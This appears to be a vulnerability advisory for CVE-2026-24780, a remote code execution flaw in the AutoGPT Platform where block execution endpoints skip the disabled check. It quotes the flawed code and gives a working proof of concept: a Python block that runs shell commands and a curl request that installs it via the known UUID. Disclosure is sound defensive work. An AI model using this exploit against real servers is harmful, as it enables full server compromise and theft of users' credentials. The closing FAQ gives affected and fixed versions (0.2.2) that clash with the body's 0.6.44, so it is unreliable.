CVE-2026-24780: AutoGPT is Vulnerable to RCE via Disabled Block Execution
Summary
AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the disabled flag. Any authenticated user can execute the disabled BlockInstallationBlock, which writes arbitrary Python code to the server filesystem and executes it via import(), achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account.
Details
Two vulnerable endpoints exist:
1. Main Web API (v1.py#L355-395) - Any authenticated user:
python @v1router.post( path="/blocks/{blockid}/execute", dependencies=[Security(requiresuser)], # Just requires login ) async def executegraphblock(blockid: str, data: BlockInput, ...): obj = getblock(blockid) if not obj: raise HTTPException(statuscode=404, ...)
# NO CHECK FOR obj.disabled!
async for name, data in obj.execute(data, ...): output[name].append(data)
2. External API (external/v1/routes.py#L79-93) - Same issue.
The external API is gated by API key permissions, but any authenticated user can mint API keys with arbitrary permissions via the main API (including EXECUTEBLOCK) at v1.py#L1408-1424. As a result, a low-privilege user can create an API key and invoke the external block execution route.
The disabled flag is documented but not enforced:
From block.py#L459: > "disabled: If the block is disabled, it will not be available for execution."
The block listing endpoint correctly filters disabled blocks (if not b.disabled), but the execution endpoints do not check this flag.
The dangerous block (blocks/block.py#L15-78):
python class BlockInstallationBlock(Block): """ NOTE: This block allows remote code execution on the server, and it should be used for development purposes only. """
def init(self): super().init( id="45e78db5-03e9-447f-9395-308d712f5f08", # Hardcoded, public UUID disabled=True, # NOT ENFORCED! )
async def run(self, inputdata: Input, kwargs) -> BlockOutput: code = inputdata.code
# Writes attacker code to server filesystem filepath = f"{blockdir}/{filename}.py" with open(filepath, "w") as f: f.write(code)
# Executes via import (RCE) module = import(modulename, fromlist=[classname])
PoC
1. Create malicious block code
python PAYLOAD = ''' import os from backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput from backend.data.model import SchemaField
class RCEBlock(Block): class Input(BlockSchemaInput): cmd: str = SchemaField(description="Command") class Output(BlockSchemaOutput): result: str = SchemaField(description="Result")
def init(self): super().init( id="aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", description="RCE", inputschema=self.Input, outputschema=self.Output, )
async def run(self, inputdata, kwargs): import subprocess result = subprocess.checkoutput(inputdata.cmd, shell=True).decode() yield "result", result '''
2. Execute via main web API (any logged-in user)
bash Get session cookie by logging into the web UI, then: curl -X POST "https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute" \ -H "Cookie: session=<yoursessioncookie>" \ -H "Content-Type: application/json" \ -d '{"code": "<PAYLOAD>"}'
The malicious Python code is written to the server's backend/blocks/ directory and immediately executed via import().
Alternative route: Mint an API key with EXECUTEBLOCK via POST /api-keys, then call the external API POST /external-api/v1/blocks/{id}/execute.
Impact
Any user who can create an account on AutoGPT Platform can achieve full Remote Code Execution on the backend server.
This allows: - Complete server compromise - Access to all user data, credentials, and API keys stored in the database - Access to environment variables (cloud credentials, secrets) - Lateral movement to connected infrastructure (Redis, PostgreSQL, cloud services) - Persistent backdoor installation
Attack requirements: - Create a free account on the platform (default self-hosted enables signup; hosted deployments may disable signup, requiring an existing account) - Know the disabled block's UUID (hardcoded in public source code: 45e78db5-03e9-447f-9395-308d712f5f08)
Why the disabled flag exists but fails: - Block listing correctly filters disabled blocks (users don't see them in UI) - Execution endpoints bypass this check entirely - The UUID is static and publicly known from the open-source codebase
Severity note: CVSS assumes the default self-hosted configuration where signup is enabled (low-privilege authentication is easy to obtain). If signup is disabled in a hosted deployment, likelihood is lower, but impact remains critical once any authenticated account exists.
A fix is available, but was not published to the PyPI registry at time of publication: 0.6.44
Other sources
AutoGPT is a platform that allows users to create, deploy, and manage continuous artificial intelligence agents that automate complex workflows. Prior to autogpt-platform-beta-v0.6.44, AutoGPT Platform's block execution endpoints (both main web API and external API) allow executing blocks by UUID without checking the disabled flag. Any authenticated user can execute the disabled BlockInstallationBlock, which writes arbitrary Python code to the server filesystem and executes it via import(), achieving Remote Code Execution. In default self-hosted deployments where Supabase signup is enabled, an attacker can self-register; if signup is disabled (e.g., hosted), the attacker needs an existing account. autogpt-platform-beta-v0.6.44 contains a fix.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-24780?
The severity of CVE-2026-24780 is classified as critical due to the potential for remote code execution.
How do I fix CVE-2026-24780?
To fix CVE-2026-24780, update the AutoGPT package to a version later than 0.2.2 where the vulnerability is addressed.
Who is affected by CVE-2026-24780?
Any user of AutoGPT version 0.2.2 or earlier who has access to the block execution endpoints is affected by CVE-2026-24780.
What type of vulnerability is CVE-2026-24780?
CVE-2026-24780 is a remote code execution vulnerability resulting from improper validation of the disabled flag.
What can an attacker do with CVE-2026-24780?
An attacker can exploit CVE-2026-24780 to execute unauthorized code through the AutoGPT platform's block execution endpoints.